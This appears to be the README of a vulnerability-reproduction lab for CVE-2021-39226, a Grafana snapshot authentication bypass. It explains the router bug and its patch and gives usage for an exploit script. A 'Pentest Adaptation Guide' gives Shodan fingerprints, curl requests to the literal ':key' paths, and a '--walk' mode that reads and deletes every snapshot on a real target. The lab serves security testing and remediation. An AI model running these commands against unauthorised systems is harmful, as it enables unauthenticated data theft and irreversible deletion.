CVE-2021-39226 — Grafana Snapshot Authentication Bypass
Overview
| Field | Value |
|---|---|
| CVE | CVE-2021-39226 |
| Software | Grafana |
| Version Tested | 8.1.5 |
| Vulnerable Range | >= 2.0.1 and < 7.5.11, or >= 8.0.0 and < 8.1.6 |
| Type | Authentication Bypass |
| CVSS | 9.8 (Critical) |
| Authentication | Not required (unauthenticated exploitation) |
| CISA KEV | Yes — actively exploited in the wild |
Grafana's macaron HTTP router contained a fast-path static route matching bug that, when exploited with the literal URL /api/snapshots/:key, bypassed authentication and returned the snapshot with the lowest database primary key. Chaining snapshot view with deletion enabled complete unauthenticated enumeration and permanent destruction of all snapshot data.
Quick Start
bash verify.sh
This starts the vulnerable environment, waits for readiness, runs the exploit, and prints the result.
Environment
- Image:
grafana/grafana:8.1.5 - Port:
3000→ Grafana HTTP - Credentials:
admin/admin - Setup time: ~15-30 seconds for database migrations + startup
- Special config:
GF_SNAPSHOTS_PUBLIC_MODE=true(enables unauthenticated deletion, non-default)
docker compose up -d # start
docker compose logs -f # watch logs
docker compose ps # check status
docker compose down -v # teardown + remove volumes
Exploit
- File:
exploit/exploit.py - Source: Custom — written from advisory GHSA-69j6-29vr-p3j9 and patch commit analysis
- Language: Python 3
How It Works
Root cause — macaron router bug:
Grafana used the macaron Go HTTP framework (a fork of Martini). That framework's router had a performance "fast path" for static route matching. The fast path lacked a guard to ensure the incoming request URL did not literally contain : or * characters.
When an attacker sent GET /api/snapshots/:key with the literal four characters :key as the path segment, the router's fast path matched the route, but extracted an empty string as the key parameter.
Handler behavior with empty key:
Grafana's GetDashboardSnapshot handler received an empty key and performed a database query that returned the snapshot with the lowest primary key ID — the oldest surviving snapshot in the database.
The same bug affected three handlers:
GET /api/snapshots/:key→ view snapshot (unauthenticated)GET /dashboard/snapshot/:key→ view snapshot as dashboard HTML (unauthenticated)GET /api/snapshots-delete/:deleteKey→ delete snapshot (unauthenticated ifpublic_mode=true, or authenticated)
The "walk" attack: By repeatedly viewing then deleting the returned snapshot, an attacker iterates through the entire snapshot history — leaking all snapshot data while permanently destroying it.
The patch (commit 2d456a6):
router.go: Addedif !strings.ContainsAny(req.URL.Path, ":*")guard around the fast-path — requests with literal:or*in the path no longer take the static fast-path.dashboard_snapshot.go: Added empty-key validation in all three handlers:if len(key) == 0 { return response.Error(404, ...) }
Manual Usage
# Start environment first
docker compose up -d
# Wait for Grafana to be ready
curl -s http://localhost:3000/api/health
# Install Python dependencies
python3 -m venv /tmp/venv && /tmp/venv/bin/pip install -r exploit/requirements.txt
# Run exploit (creates a seed snapshot, then exploits it unauthenticated)
/tmp/venv/bin/python3 exploit/exploit.py --target http://localhost:3000
# Walk through ALL snapshots (view + delete loop)
/tmp/venv/bin/python3 exploit/exploit.py --target http://localhost:3000 --walk
# Skip snapshot creation (if snapshots already exist)
/tmp/venv/bin/python3 exploit/exploit.py --target http://localhost:3000 --skip-setup
# View only, no deletion
/tmp/venv/bin/python3 exploit/exploit.py --target http://localhost:3000 --no-delete
Expected Output
╔══════════════════════════════════════════════════════════════╗
║ CVE-2021-39226 - Grafana Snapshot Auth Bypass ║
║ Unauthenticated Snapshot Enumeration & Deletion ║
║ Affected: Grafana 2.0.1 - 8.1.5 ║
╚══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:3000
[*] Grafana version: 8.1.5
[*] Creating seed snapshot (requires valid admin credentials)...
[+] Created snapshot:
key = 6UDcm9QH3s5NO2mUXmo517YOrKT458cG
deleteKey = 16Khym7mmAeLWSD2sKebiiOb45aixay1
URL = http://localhost:3000/dashboard/snapshot/6UDcm9QH3s5NO2mUXmo517YOrKT458cG
[*] Attempting unauthenticated snapshot view:
GET http://localhost:3000/api/snapshots/:key
HTTP Response: 200
[!!!] VULNERABILITY CONFIRMED — Unauthenticated snapshot access!
Snapshot key : N/A
Dashboard title: CVE-2021-39226 Test Snapshot
Panel content : SECRET: db_password=Sup3rS3cr3t! api_key=AKIAIOSFODNN7EXAMPLE
[*] Attempting unauthenticated snapshot deletion:
GET http://localhost:3000/api/snapshots-delete/:deleteKey
HTTP Response: 200
[!!!] VULNERABILITY CONFIRMED — Unauthenticated snapshot deletion!
Response: {"id":1,"message":"Snapshot deleted. It might take an hour before it's cleared from any CDN caches."}
[*] Grafana version tested: 8.1.5
[*] Exploit complete.
Pentest Adaptation Guide
Target Discovery
Identify exposed Grafana instances and confirm vulnerability:
# Banner grab — version in HTTP response header
curl -sI https://target:3000/ | grep -i 'x-grafana'
# Version endpoint (no auth required on most versions)
curl -s https://target:3000/api/health | python3 -m json.tool
# Login page fingerprinting
curl -s https://target:3000/login | grep -i 'grafana'
# Nmap service detection
nmap -sV -p 3000 target
# Shodan/Censys queries
# title:"Grafana" http.status:200
# http.favicon.hash:1602811997
# Confirm vulnerable version (< 7.5.11 or < 8.1.6)
curl -s https://target:3000/api/health | jq '.version'
Adapting the Exploit
# Replace target URL
python3 exploit/exploit.py --target https://target:3000
# If the target uses HTTPS with a self-signed cert (already handled — requests verify=False)
python3 exploit/exploit.py --target https://target:3000
# If the target is behind a reverse proxy with a path prefix
python3 exploit/exploit.py --target https://target/grafana
# For walking all snapshots (full enumeration + destruction)
python3 exploit/exploit.py --target https://target:3000 --walk
# If you have valid credentials (e.g. viewer role from OSINT)
# you can still delete snapshots even with public_mode=false
python3 exploit/exploit.py --target https://target:3000 \
--username viewer_user --password viewer_pass
Key parameters to change:
--target: Replacehttp://localhost:3000with the real target URL--username/--password: Only needed for the seed-snapshot setup step, not for exploitation itself--skip-setup: Use when snapshots already exist on the target (real-world scenario)--no-delete: Use for non-destructive read-only confirmation
Safe Verification (Non-Destructive)
# Read-only proof — just view, do not delete
python3 exploit/exploit.py --target https://target:3000 --skip-setup --no-delete
# Manual curl check — just confirm HTTP 200 on the magic path
curl -sv "https://target:3000/api/snapshots/:key" 2>&1 | grep -E "< HTTP|title|dashboard"
# If HTTP 200 → vulnerable (unpatched)
# If HTTP 404 → patched or no snapshots
# Check the dashboard snapshot path (returns HTML, still confirms auth bypass)
curl -sv "https://target:3000/dashboard/snapshot/:key"
Do NOT use --walk in production — it permanently deletes all snapshots and cannot be undone.
Evidence Collection
Capture the following for your pentest report:
- Version confirmation:
curl -s https://target:3000/api/health | jq - Exploit output: Terminal recording showing HTTP 200 + snapshot data contents
- Sensitive data in snapshots: Dashboard titles, panel data, metrics that were accessible
- Deletion confirmation (if authorized): The API response confirming snapshot deletion
- Log entries (if accessible): Look for
200 GET /api/snapshots/:keyin access logs
OWASP classification: OWASP A07:2021 – Identification and Authentication Failures
CVSS vector for report: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Remediation to recommend: Upgrade Grafana to >= 7.5.11 or >= 8.1.6. As a temporary workaround, block access to the literal paths /api/snapshots/:key, /api/snapshots-delete/:deleteKey, and /dashboard/snapshot/:key at the reverse proxy level.